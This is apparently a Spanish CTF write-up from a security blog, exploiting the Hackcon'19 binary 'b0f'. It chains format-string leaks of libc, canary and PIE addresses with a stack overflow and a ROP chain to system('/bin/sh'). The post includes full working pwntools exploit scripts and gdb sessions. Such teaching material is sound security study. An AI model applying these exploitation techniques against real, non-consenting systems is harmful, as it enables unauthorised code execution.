Power belongs to the people who take it

PWN – ROP: bypass NX, ASLR, PIE y Canary

En este post de exploiting vamos a enfrentarnos a un binario de linux con todas las protecciones activas. En dicho binario nos encontramos un format string y un buffer overflow, el primero nos servirá para ‘leakear’ las direcciones necesaria para bypassear las protecciones y el segundo nos servirá para tomar el control del proceso.

Protecciones

Por si tenéis dudas sobre qué hace cada protección os hago un breve resumen:

  • NX: El bit NX (no ejecutar) es una tecnología utilizada en las CPUs que garantiza que ciertas áreas de memoria (como el stack y el heap) no sean ejecutables, y otras, como la sección del código, no puedan ser escritas. Básicamente evita que podamos utilizar técnicas más sencillas como hacíamos en este post en el que escribíamos un shellcode en la pila y luego lo ejecutábamos.
  • ASLR: básicamente randomiza la base de las bibliotecas (libc) para que no podamos saber la dirección de memoria de funciones de la libc. Con el ASLR se evita la técnica Ret2libc y nos obliga a tener que filtrar direcciones de la misma para poder calcular base.
  • PIE: esta técnica, como el ASLR, randomiza la dirección base pero en este caso es del propio binario. Esto nos dificulta el uso de gadgets o funciones del propio binario.
  • Canario: Normalmente, se genera un valor aleatorio en la inicialización del programa, y se inserta al final de la zona de alto riesgo donde se produce el desbordamiento de la pila, al final de la función, se comprueba si se ha modificado el valor de canario.

Análisis

El binario es un ELF de 64-bits: B0f.

$ file b0f      
b0f: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3cd41764dce3415f6d1f0c5d5e27edb759d0798e, not stripped

$ checksec b0f 
[*] '/root/B0f/b0f'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ ./b0f                                               
Enter name : Iron
Hello
Iron
Enter sentence : AAAA

Como veis, están todas las protecciones activas. Lo abrimos con IDA y tras “limpiar” un poco el pseudo-C obtenemos:

int main(int argc, const char **argv)
{
  char s[8];

  printf("Enter name : ");
  fgets(s, 16, stdin);
  puts("Hello");
  printf(s, 16);
  printf("Enter sentence : ");
  fgets(s, 256, stdin);
  return 0;
}

Con GDB vemos que tras el fgets se comprueba el canario:

   0x000000000000081a <+160>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x000000000000081e <+164>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000000827 <+173>:   je     0x82e <main+180>
   0x0000000000000829 <+175>:   call   0x630 <__stack_chk_fail@plt>

A pesar de tener todas las protecciones activas, este reto no parece muy complejo.
Nada más leer el código en C vemos un Format String en la linea printf(s, 16); y un buffer overflow en fgets(s, 256, stdin);.

El format string es de solo 16 bytes pero nos puede servir para bypassear el canario, el PIE y el ASLR.

Leaks

Como son solo 16 bytes no podemos, en una sola ejecución, ver todas las posibles salidas del format string así que nos hacemos un fuzzer:

#!/usr/bin/env python
from pwn import *

e = ELF("./b0f")

for i in range(20):
        io = e.process(level="error")
        io.sendline("AAAA %%%d$lx" % i)
        io.recvline()
        print("%d - %s" % (i, io.recvline().strip()))
        io.close()

En la octava salida vemos las 4 As que hemos introducido (0x41414141) luego podriamos ‘sobreescribir’ direcciones de memoria, las salidas que empiezan por 0x7f corresponden con direcciones de memoria de la libc luego podremos leakear para calcular su offset (ASLR), las salidas como la 1 y la 12 quizás nos sirvan para calcular el offset del PIE y las salidas 11 y 19 parecen ser el canary.

LIBC Leak

Usando gdb vamos a leakear una dirección de la libc (%2$lx) y buscar el offset de dicha salida:

gdb-peda$ r                                                                                                                                                                                                   
Starting program: /root/B0f/b0f                                                                                                                                                                               
Enter name : %2$lx                                                                                                                                                                                            
Hello                                                                                                                                                                                                         
7ffff7fa28c0                                                                                                                                                                                                  
Enter sentence : ^C                                                                                                                                                                                           
Program received signal SIGINT, Interrupt.

gdb-peda$ vmmap
Start              End                Perm      Name
[...]
0x00007ffff7de5000 0x00007ffff7e07000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.28.so
[...]
gdb-peda$ p/x 0x07ffff7fa28c0 - 0x00007ffff7de5000
$1 = 0x1bd8c0

Como veis somos capaces de filtrar una dirección de la LIBC y solo tendremos que restarle 0x1bd8c0 para obtener su dirección base.

0x07ffff7fa28c0 – 0x07ffff7de5000 = 0x1bd8c0

Canary Leak

Para calcular si el canario corresponde con la salida 11 o 19 del format string podemos usar gdb de nuevo. Basta con introducir %11$lx o %19$lx y comprobar, con un breakpoint, el valor del canario que se almacena en RCX. Si coincide con alguno de los dos, ya podremos leakear fácilmente el canario.

  • Salida 11:
  • gdb-peda$ b * 0x000055555555481e                                                                                                                                                                              
    Breakpoint 1 at 0x55555555481e                                                                                                                                                                                
    gdb-peda$ r                                                                                                                                                                                                   
    Starting program: /root/B0f/b0f                                                                                                                                                                               
    Enter name : %11$lx                                                                                                                                                                                           
    Hello                                                                                                                                                                                                         
    653e968ff57a9a00                                                                                                                                                                                              
    Enter sentence : A
    
    Breakpoint 1, 0x000055555555481e in main ()
    gdb-peda$ p $rcx
    $1 = 0x653e968ff57a9a00
    
  • Salida 19:
  • gdb-peda$ r                                                                                                                                                                                                   
    Starting program: /root/B0f/b0f                                                                                                                                                                               
    Enter name : %19$lx                                                                                                                                                                                           
    Hello                                                                                                                                                                                                         
    9fc6f16c66e05032                                                                                                                                                                                              
    Enter sentence : A
    Breakpoint 1, 0x000055555555481e in main ()
    
    gdb-peda$ p $rcx
    $2 = 0xb880af3b86db6000
    

    Perfecto! En la salida 11 obtenemos el valor del canario.

    Binary Base Leak (PIE)

    Para poder ejecutar código arbitrario necesitaremos intrucciones del propio binario, al estar el PIE activo necesitamos leakearlo también.
    Vamos usar GDB y a probar con la salida 12:

    gdb-peda$ r                                                                                                                                                                                                   
    Starting program: /root/B0f/b0f                                                                                                                                                                               
    Enter name : %12$lx                                                                                                                                                                                           
    Hello                                                                                                                                                                                                         
    555555554830                                                                                                                                                                                                  
    Enter sentence : ^C                                                                                                                                                                                           
    Program received signal SIGINT, Interrupt.
    
    gdb-peda$ vmmap
    Start              End                Perm      Name
    0x0000555555554000 0x0000555555555000 r-xp      /root/B0f/b0f
    [...]
    gdb-peda$ p/x 0x0555555554830 - 0x0000555555554000
    $2 = 0x830
    

    Como veis ha funcionado, ahora podremos calcular la base del binario en tiempo de ejecucción. Solo tendremos que restar 0x830 a la salida 12 del format string.

    Relleno

    Vamos ahora a calcular el relleno que debemos usar para sobre escribir al canario y después la dirección de retorno.

  • Canario: basta con establecer un breakpoint y comprobar el valor del canario (RCX).
  • gdb-peda$ pattern create 64                                                                                                                                                                                   
    'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'                                                                                                                                            
    gdb-peda$ r                                                                                                                                                                                                   
    Starting program: /root/B0f/b0f                                                                                                                                                                               
    Enter name : A                                                                                                                                                                                                
    Hello                                                                                                                                                                                                         
    A                                                                                                                                                                                                             
    Enter sentence : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
    
    Breakpoint 1, 0x000055555555481e in main ()
    gdb-peda$ p/x $rcx
    $1 = 0x413b414144414128
    gdb-peda$ pattern offset 0x413b414144414128
    4700422384665051432 found at offset: 24
    
  • Dirección de retorno: Ahora que sabemos cuál es el offset hasta el canario, podemos calcular fácilmente la distancia hasta la dirección de retorno.

    “A”*24 + CANARY + “A”*8 + PATRÓN

  • #!/usr/bin/env python
    from pwn import *
    
    e = ELF('b0f')
    io = e.process()
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io)
    
    io.sendline('%11$lx')
    io.recvline()
    leak = io.recvline()
    canary = int(leak.strip(), 16)
    log.info("Canary: %s" % (hex(canary)))
    
    payload = "A"*24 + p64(canary) + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH"
    
    io.sendline(payload)
    io.interactive()
    

    Ya sabemos el offset hasta la dirección de retorno, asi que podemos controlar el RIP:

    “A”*24 + CANARY + “A”*8 + ROP

    Explotación

    Con todo lo anterior en mente ya podemos empezar a escribir el exploit. Lo primero será leakear mediante el format string: %2$lx (libc), %11$lx (canary) y %12$lx (pie).
    Podriamos hacerlo todo en una sola ejecución: leakear y ejecutar system(‘/bin/sh’) pero para el format string solo disponemos de 16 bytes.

    len(“%2$lx-%11$lx-%12$lx”) = 19

    Pero esto no es un tanto problema, se soluciona llamando al main tras el primer leak.
    El exploit queda así:

    – Leak 1: PIE y Canario
    – Payload 1: “A”*24 + Canario + “A”*8 + main()
    – Leak 2: LIBC
    – Payload 2: “A”*24 + Canario + “A”*8 + system(“/bin/sh”)

    Al estar en un sistema de 64 bits, al forma de llamar a pasar argumentos a las funciones (system en este caso) es con el registro RDI.
    Necesitamos: Gadget POP RDI + ARG_1 + FUNCION

    $ ROPgadget --binary b0f | grep "pop rdi"
    0x0000000000000893 : pop rdi ; ret
    
    #!/usr/bin/env python
    from pwn import *
    
    e = ELF('b0f')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    io = e.process()
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
    
    io.sendline('%12$lx-%11$lx') # PIE y CANARIO
    io.recvline()
    leak = io.recvline()
    pie = int(leak.strip().split('-')[0], 16) - 0x830 # 0x2139260
    canary = int(leak.strip().split('-')[1], 16)
    log.info("Pie: %s" % hex(pie))
    log.info("Canary: %s" % hex(canary))
    
    payload = flat(
            "A"*24,
    		canary, 
            "A"*8,
            pie + e.sym['main'],
    		endianness = 'little', word_size = 64, sign = False)
    io.sendline(payload)
    
    io.sendline('%2$lx') # libc
    io.recvline()
    leak = io.recvline()
    libc.address = int(leak.strip(), 16) - 0x1bd8c0
    log.info("Libc: %s" % hex(libc.address))
    payload = flat(
            "A"*24,
    		canary, 
            "A"*8,
    		pie + 0x0893, # 0x0000000000000893 : pop rdi ; ret
    		next(libc.search('/bin/sh')),
    		libc.sym['system'],
    		endianness = 'little', word_size = 64, sign = False)
    io.sendline(payload)
    io.interactive()
    

    *Podriamos ahorrarnos el leak del PIE utilizando un pop rdi; ret de la libc.

    #!/usr/bin/env python
    from pwn import *
    
    e = ELF('b0f')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    io = e.process()
    
    io.sendline('%2$lx-%11$lx')
    io.recvline()
    leak = io.recvline()
    libc.address = int(leak.strip().split('-')[0], 16) - 0x1bd8c0
    canary = int(leak.strip().split('-')[1], 16)
    
    log.info("Libc: %s" % hex(libc.address))
    log.info("Canary: %s" % hex(canary))
    
    payload = flat(
            "A"*24,
            canary, 
            "A"*8,
            libc.address + 0x0000000000023a5f, # pop rdi ; ret
            next(libc.search('/bin/sh')),
            libc.sym['system'],
            endianness = 'little', word_size = 64, sign = False)
    
    io.sendline(payload)
    io.interactive()
    

    Este reto es parte del CTF: Hackcon’19
    Podeis ver la resolución sin necesidad de bypassear el PIE en mi github.

    ¿Me ayudas a compatirlo?

    4 comentarios

    1. XxXByTormentoGamer05

      oLA Soy SusCriptor like y comentario

      • Elias Sargs

        That’s a beautiful exploit. Great Explanation as well.

    2. [email protected]

      From where I can get the binary ?

      • Anónimo

        +1

    Deja una respuesta

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

    Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

    © 2024 ironHackers

    Tema por Anders NorenArriba ↑